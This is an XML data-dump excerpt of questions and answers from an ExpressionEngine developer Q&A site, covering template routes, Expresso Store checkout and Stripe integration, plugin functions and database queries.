  <row Id="32094" PostTypeId="1" CreationDate="2015-06-25T19:51:13.357" Score="0" ViewCount="90" Body="&lt;p&gt;I followed &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/introduction-to-template-routes-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;Boyink's tutorial&lt;/a&gt; to the letter but still can't get template routes to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My multi-entry template is located at &lt;code&gt;company/people&lt;/code&gt;. My single entry template is at company/person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Template Route manager, I have &lt;code&gt;/company/people/{bio:alpha_dash}&lt;/code&gt; for the `company/person template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-entry template link code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{route=&quot;company/people&quot; bio=&quot;{url_title}&quot;}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Single-entry template channel entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;people&quot;&#xA;    limit=&quot;1&quot;&#xA;    require_entry=&quot;yes&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    url_title=&quot;{segment:bio}&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the links in the multi-entry template look like: &lt;code&gt;/company/%7Broute=&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why the URL's are not getting generated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="343" LastEditDate="2015-12-27T13:02:48.237" LastActivityDate="2016-06-20T02:05:50.683" Title="Template route not generating correct URLs" Tags="|template-routes|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32095" PostTypeId="1" CreationDate="2015-06-25T20:37:35.793" Score="0" ViewCount="56" Body="&lt;p&gt;I have a notification setup that is pulling the top 5 most viewed entries within the specific channel, and I want to send this email with the top 5 most viewed entries, and I want to send this notification out every 2 weeks. Below is the line of PHP code that I embedded to the notification as well as the channel entry calling it. Its showing just the top 5 most viewed overall still and is not resetting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        $start_time = ee()-&amp;gt;localize-&amp;gt;format_date('%Y-%m-%d %H:%i', ee()-&amp;gt;localize-&amp;gt;now - (60*60*24*14));&#xA;?&amp;gt;&#xA;&#xA;    {embed=&quot;_embeds/two-weeks-php&quot;}&#xA;{exp:channel:entries start_on=&quot;&amp;lt;?php echo $start_time; ?&amp;gt;&quot; site=&quot;example&quot; channel=&quot;blog&quot; dynamic=&quot;no&quot; limit=&quot;10&quot; status=&quot;open|Preview&quot; {global:disable_basic} orderby=&quot;view_count_one&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2016-06-20T00:05:51.270" Title="Date range in EE postmaster template" Tags="|php|embeds|postmaster|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32096" PostTypeId="2" ParentId="32094" CreationDate="2015-06-25T22:28:50.047" Score="0" Body="&lt;p&gt;I can't think on anything else than a syntax error. For now, you can use a root relative link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/company/people/{url_title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like some &lt;code&gt;&quot;&lt;/code&gt; or &lt;code&gt;}&lt;/code&gt; is missing somewhere. Maybe some javascript? Or some CSS rule? Try to look for them or to replace the &lt;code&gt;&quot;&lt;/code&gt; by &lt;code&gt;'&lt;/code&gt; inside the &lt;code&gt;{route}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{route='company/people' bio='{url_title}'}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also, use the good old &lt;code&gt;{url_title_path}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{url_title_path='company/people'}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-06-25T22:41:50.453" LastActivityDate="2015-06-25T22:41:50.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32097" PostTypeId="2" ParentId="31743" CreationDate="2015-06-25T23:31:42.687" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;order_customX&lt;/code&gt; fields 1-9 to store custom data about the order (and/or can be linked to custom member fields to repopulate the fields in future orders). You would do this via the checkout tag (&lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#custom_order_fields&quot; rel=&quot;nofollow&quot;&gt;docs here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the amount of data that you are collecting this could not be enough fields for the information that you need to store. In the past when I am selling event type tickets I add the custom data to the product using text modifiers set at the template level so I can easily include them outside of the publisher area for any and all events. For this approach you would add the additional details when you are adding the item to the cart via the product tag (&lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#input_custom_modifier_name_name&quot; rel=&quot;nofollow&quot;&gt;docs here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-06-25T23:31:42.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32098" PostTypeId="2" ParentId="31648" CreationDate="2015-06-25T23:39:07.403" Score="0" Body="&lt;p&gt;Additional gateways need to be included into Store via an extension so you would need to create an ExpressionEngine Extension. Store has a sample extension of what the gateway should like &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; with the proper folder structure and files needed to register an additional gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need rename the ext.store_check.php file to match the namespace of the sisow gateway. Once you have done that you will need to add the folder to your third_party folder and enable the extension in the Add-ons &gt; Extensions age of EE and configure it however needed before you can use it on the site.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-06-25T23:39:07.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32099" PostTypeId="1" AcceptedAnswerId="32100" CreationDate="2015-06-26T00:00:42.547" Score="1" ViewCount="57" Body="&lt;p&gt;I am setting a site up where customers purchase memberships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to setup a product to handle this and then do a check in the checkout tag to see if the product had been bought and if it had specify a member id to add that user, during checkout, to their new member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there is a better way overall, I am hoping there may be a way within the Registering Members templating to specify a member id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, much appreciated.&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#registering_members&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/checkout_tag.html#registering_members&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2015-06-26T00:54:14.933" Title="Expresso Store: Registering Members - Specify member group in template" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32100" PostTypeId="2" ParentId="32099" CreationDate="2015-06-26T00:54:14.933" Score="0" Body="&lt;p&gt;There is not a way to specify which member group a member goes into when registering a member via checkout. Store will place the member in the default member group that you have set it in the Members &gt; Preferences &gt; Default Member Group Assigned to New Members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since EE only allow s members to be assigned to a single member group you would have issues if you offered multiple products at the same time that could assign members to different groups. Store does not currently have a mechanism to handle this kind of functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to assign member IDs or groups other then default you would need to create an extension to handle the logic required and override the default behavior &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-06-26T00:54:14.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32102" PostTypeId="1" CreationDate="2015-06-26T08:06:17.897" Score="0" ViewCount="51" Body="&lt;p&gt;Can non moderators delete their own posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant seem to delete my own posts when logged in as one of my member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal or is there a member preference of sorts that i need to tweak?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-06T01:58:43.143" Title="Discussion Forum - Deleting Posts" Tags="|forum|discussion|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32105" PostTypeId="1" AcceptedAnswerId="32106" CreationDate="2015-06-26T13:11:48.630" Score="0" ViewCount="73" Body="&lt;p&gt;Does Solspace Importer support the native EE Grid and Relationship fieldtypes when importing into channel entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may have made a mistake to assume compatibility to include those native fieldtypes when purchasing, but I've missed some pretty obvious stuff in my day before!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a set of XML files that is used to update just under 1000 entries in an EE 2.9.2 site, but the current add-on being used doesn't support cron imports in batches. I was hoping to replace it with Importer, but haven't had luck with it yet.&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2015-06-26T13:25:58.367" Title="Solspace Importer: Native EE Grid and Relationships" Tags="|solspace|relationships|grid|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32106" PostTypeId="2" ParentId="32105" CreationDate="2015-06-26T13:25:58.367" Score="1" Body="&lt;p&gt;Nope, Importer does not support importing into Grid fields, nor does it support creating/populating relationship fields. Have you looked at &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace does have a 30 day money back guarantee.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-26T13:25:58.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32107" PostTypeId="1" AcceptedAnswerId="32108" CreationDate="2015-06-26T14:22:23.150" Score="0" ViewCount="39" Body="&lt;p&gt;If I have a function in a plugin that is normally called with parameters that are retrieved like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function eventtitle() {&#xA;    $eventCode = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param(&quot;event_code&quot;);&#xA;    $_type     = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param(&quot;_type&quot;);&#xA;    // do other stuff&#xA;    return $value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I call that same function from another function WITHIN the same plugin passing the same parameters?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$coursetitle = $this-&amp;gt;eventtitle($eventcode);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-06-26T14:38:59.270" Title="Plugin function question" Tags="|plugin|parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32108" PostTypeId="2" ParentId="32107" CreationDate="2015-06-26T14:38:59.270" Score="2" Body="&lt;p&gt;Conditionals are your friend! Assuming both parameters are required:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function eventtitle($eventCode=NULL,$_type=NULL)&#xA;{&#xA;&#xA;    // is either of our parameters null? &#xA;    // if so, try and get it from the tag!        &#xA;    if (is_null($eventCode) || is_null($_type))&#xA;    {&#xA;        $eventCode = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param(&quot;event_code&quot;);&#xA;        $_type     = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param(&quot;_type&quot;);&#xA;    }&#xA;&#xA;    // do other stuff&#xA;    return $value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then just call it with params:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$coursetitle = $this-&amp;gt;eventtitle(&quot;Event Code 1&quot;, &quot;Type Var 1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-26T14:38:59.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32109" PostTypeId="1" CreationDate="2015-06-26T15:03:12.823" Score="1" ViewCount="138" Body="&lt;p&gt;Weird one, Expresso+Stripe usually works but in this one case it won't!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment_token is being generated (after 1-2 second delay) but the form isn't submitting after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jquery is included ok, here's my template (just the important bits, all else is generic stuff)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;select name=&quot;payment_method&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;Stripe&quot;&amp;gt;Credit/Debit card&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;PayPal_Express&quot;&amp;gt;Paypal&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{!-- STRIPE FORM --}&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;dl&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;label for=&quot;s1&quot;&amp;gt;Name on card&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;s1&quot; data-stripe=&quot;name&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;label for=&quot;s2&quot;&amp;gt;Card number&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;s2&quot; data-stripe=&quot;number&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;label for=&quot;s3&quot;&amp;gt;Expiration month&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&#xA;    &amp;lt;select id=&quot;s3&quot; data-stripe=&quot;exp-month&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp_month_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;label for=&quot;s4&quot;&amp;gt;Expiration year&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&#xA;    &amp;lt;select id=&quot;s4&quot; data-stripe=&quot;exp-year&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;    {exp_year_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;&amp;lt;label for=&quot;s5&quot;&amp;gt;CVV&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;s6&quot; size=&quot;4&quot; data-stripe=&quot;cvc&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$(function() {&#xA;    $.getScript('https://js.stripe.com/v2/', function() {&#xA;        Stripe.setPublishableKey('pk_test_REMOVED');&#xA;    });&#xA;    /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;    $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;        /* Only handle requests for Stripe gateway */&#xA;        if (this.form.elements[&quot;payment_method&quot;].value == &quot;Stripe&quot;) {&#xA;            /* Temporarily disable the checkout submit button */&#xA;            $checkout_submit.attr('disabled', true);&#xA;            /* Create a Stripe card token */&#xA;            Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;            /* We don't want to submit the form yet */&#xA;            return false;&#xA;        }&#xA;    });&#xA;    /* This function is triggered once Stripe has generated the token */&#xA;    function stripeResponseHandler(status, response) {&#xA;        /* Re-enable the checkout submit button */&#xA;        $checkout_submit.attr('disabled', false);&#xA;        /* Check whether we have a valid credit card */&#xA;        if (response.error) {&#xA;            alert(response.error.message);&#xA;        } else {&#xA;            /* Set the card token and submit the checkout form */&#xA;            $(&quot;#payment_token&quot;).val(response.id);&#xA;            $checkout_submit.off(&quot;click&quot;).click();&#xA;        }&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;p class=&quot;checkout-next&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;checkout_submit&quot; name=&quot;submit&quot; class=&quot;btn btn-pri btn-m&quot; value=&quot;Place order&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can't for the life of me see where its failing, no JS errors. Anyone have any idea?s&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2016-04-17T06:09:42.920" Title="Expresso Store stripe not submitting" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32110" PostTypeId="2" ParentId="32102" CreationDate="2015-06-26T18:12:35.807" Score="0" Body="&lt;p&gt;It is not possible, sorry. You have to tweak/create custom code/addon for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All possible permissions per forums/boards are handled via Forum Module CP :(&#xA;There is just can edit, and that's what my members has done, editing entries to have only a dot or few. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if Im wrong for some very odd reason, It would be nice to know where that magic setting might be. &lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-06-26T18:12:35.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32111" PostTypeId="1" AcceptedAnswerId="32129" CreationDate="2015-06-26T18:21:55.573" Score="0" ViewCount="266" Body="&lt;p&gt;I've got this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array('EventCode' =&amp;gt;$r[&quot;eventcode&quot;]))&#xA;       -&amp;gt;limit(1)&#xA;       -&amp;gt;get('exp_course_events');&#xA;$course_date = $res-&amp;gt;row('FormalDate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when I try to &lt;code&gt;echo $course_date;&lt;/code&gt;, all I get is &lt;code&gt;Array&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't this how to use the DB class to return a single row and get it's field values?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-07-29T18:31:45.880" Title="EE DB Class question" Tags="|database|query|classes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32112" PostTypeId="2" ParentId="32111" CreationDate="2015-06-26T18:34:52.347" Score="0" Body="&lt;p&gt;That is because that's what you're probably getting!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what's going on, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$res = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array('EventCode' =&amp;gt;$r[&quot;eventcode&quot;]))&#xA;                    -&amp;gt;limit(1)&#xA;                    -&amp;gt;get('exp_course_events');&#xA;&#xA;$course_date = $res-&amp;gt;row('FormalDate');&#xA;&#xA;var_dump($course_date);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And update your answer with the output of that var_dump command.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-26T18:51:33.663" LastActivityDate="2015-06-26T18:51:33.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32113" PostTypeId="1" CreationDate="2015-06-26T19:28:37.490" Score="0" ViewCount="61" Body="&lt;p&gt;I need to provide a custom message when someone buys a specific product in their email confirmation.  I have a field in the product channel called {Message_to_Customer}&#xA;How do I include this field in the email customer email template?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-06-04T05:40:00.980" Title="Expresso Store Custom Message to customers per product" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32114" PostTypeId="1" CreationDate="2015-06-26T19:30:41.063" Score="0" ViewCount="61" Body="&lt;p&gt;If a product has FREE SHIPPING checked WHY does paypal show a line item for shipping UPS $0.00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even tried hiding the shipping in the checkout but something is still being set to paypal..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if shipping_method &amp;amp;&amp;amp; order_shipping_val != 0}&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2016-06-08T06:10:56.043" Title="Expresso Store Free Shipping showing $0.00 in paypal" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32115" PostTypeId="2" ParentId="32114" CreationDate="2015-06-26T20:00:54.617" Score="0" Body="&lt;p&gt;The PayPal payment gateway file is set to send the order totals, taxes, shipping totals, billing details, shipping details and line item details  to PayPal. So Store sends the shipping total of $0 dollars when the shipping total is free just as it send the total of $9.95 when that is the shipping total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you wanted to change this behavior you would have to open up the PayPal payment gateway search for the shipping cost lines and add a conditional to check the value of the shipping total with php and then only send the shipping variable if it has a total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be noted that you would need to make this change again anytime you updated Store as it would be overwritten each update.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-06-26T22:11:44.097" LastActivityDate="2015-06-26T22:11:44.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32116" PostTypeId="2" ParentId="32113" CreationDate="2015-06-26T20:13:15.173" Score="0" Body="&lt;p&gt;In your order email template you would need to use the items loop to loop through each item then pass the entry_id to a channel entries tag something similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders}&#xA;&amp;lt;h1&amp;gt;{order_id} - {order_date format=&quot;%Y-%d-%m&quot;}&amp;lt;/h1&amp;gt;&#xA;{items}&#xA; {exp:channel:entries entry_id=&quot;{entry_id}&quot; disable=&quot;categories|category_fields|member_data&quot; limit=&quot;1&quot; channel=&quot;products&quot;}&#xA;  &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;  Qty Ordered: {item_qty}&#xA;  Price: {item_total}&#xA;&#xA;{if Message_to_Customer}&#xA; &amp;lt;div class=&quot;alert&quot;&amp;gt;&#xA;  {Message_to_Customer}&#xA; &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;{/items}&#xA;Order Subtotal: {order_subtotal&#xA;Order Total: {order_total}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will show the Order ID and Date, then loop through all of the order items with some additional details including the message to the customer and then it will show order details like totals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see more documentation about accessing custom fields &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#entry_id&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; while in the items loop. The same &lt;code&gt;{items}&lt;/code&gt; loop is available in the cart, checkout and order tag pairs if you need to replicate that functionality on the website.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-06-26T20:13:15.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32118" PostTypeId="2" ParentId="20259" CreationDate="2015-06-26T23:31:29.900" Score="0" Body="&lt;p&gt;Like this for category group with checkbox using Channel Form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {categories show_group=&quot;5&quot;}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;    &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot;&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  {/categories}&#xA;&#xA;  {categories show_group=&quot;6&quot;}&#xA;    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{category_name}&#xA;    &amp;lt;input type=&quot;checkbox&quot; id=&quot;{category_id}&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot; &amp;gt;&#xA;    &amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;  {/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2792" LastActivityDate="2015-06-26T23:31:29.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32120" PostTypeId="1" AcceptedAnswerId="32121" CreationDate="2015-06-27T20:32:46.933" Score="1" ViewCount="82" Body="&lt;p&gt;I have a simple about page being rendered with the content of only one entry and some Low Variables bits. It's rather slow (3.8806 seconds according to the Output Profiler), and the Template Debugging shows that all possible snippets are being loaded 6 times in each page load. The only number I could correlate with that is the number of templates being rendered in the page (aside from the main page, there's embedded template partials for the header and footer, scripts, etc). Am I correct in assuming that all snippet content is being loaded for every time a template is loaded? Is there any way to make it not do that?&lt;/p&gt;&#xA;" OwnerUserId="6121" LastActivityDate="2015-06-27T21:21:15.427" Title="Why are all snippets loading several times on page load?" Tags="|templates|performance|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32121" PostTypeId="2" ParentId="32120" CreationDate="2015-06-27T21:21:15.427" Score="2" Body="&lt;p&gt;The snippets are not actually &quot;loading&quot; - they are simply bits of text being stored in memory (much like global variables). They aren't actually processed until they're called. So they're not an overhead problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see these being &quot;loaded&quot; each time you run the template engine - which means the primary template, and then each embed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-06-27T21:21:15.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32122" PostTypeId="1" CreationDate="2015-06-29T00:59:22.173" Score="0" ViewCount="38" Body="&lt;p&gt;i am using ee for the first time, and i try to make a web design explanatory website, but I have a problem that the word 'css' cannot be used for template group name because it is a reserved word.&#xA;I tried /CSS/ but it works only when the address is typed as .com/CSS/ ~&#xA;I want to use css instead of CSS.&#xA;How can I do?&lt;/p&gt;&#xA;" OwnerUserId="6436" LastActivityDate="2016-01-30T23:44:08.150" Title="I want to use the reserved word in template group" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32123" PostTypeId="2" ParentId="32122" CreationDate="2015-06-29T01:14:10.197" Score="1" Body="&lt;p&gt;Lol, use the word stylesheet or styles. Why are you trying to break all of the eggs in the carton? You'll run into a lot of roadblocks going the route you want to...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, at the end of the day, you are going to &lt;strong&gt;not&lt;/strong&gt; want to do all your stylesheet editing, or any template editing, in your browser. You should use an ftp client and your preferred editor, saving templates as files. I would suggest getting your development tool-chain in order now, before you go down the rabbit hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, you can't do what you want. It would require insane core EE modification. Pick a different name for that group, or use your assets/css folder and edit them with a tool-chain solution.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-06-29T01:26:52.697" LastActivityDate="2015-06-29T01:26:52.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32124" PostTypeId="1" CreationDate="2015-06-29T08:57:40.037" Score="0" ViewCount="31" Body="&lt;p&gt;Is it possible to map the actual state instead of state code to the native member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment i get, CON instead of CONWY.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-11T11:09:06.300" Title="Expresso Store, State Field Label instead of Code" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
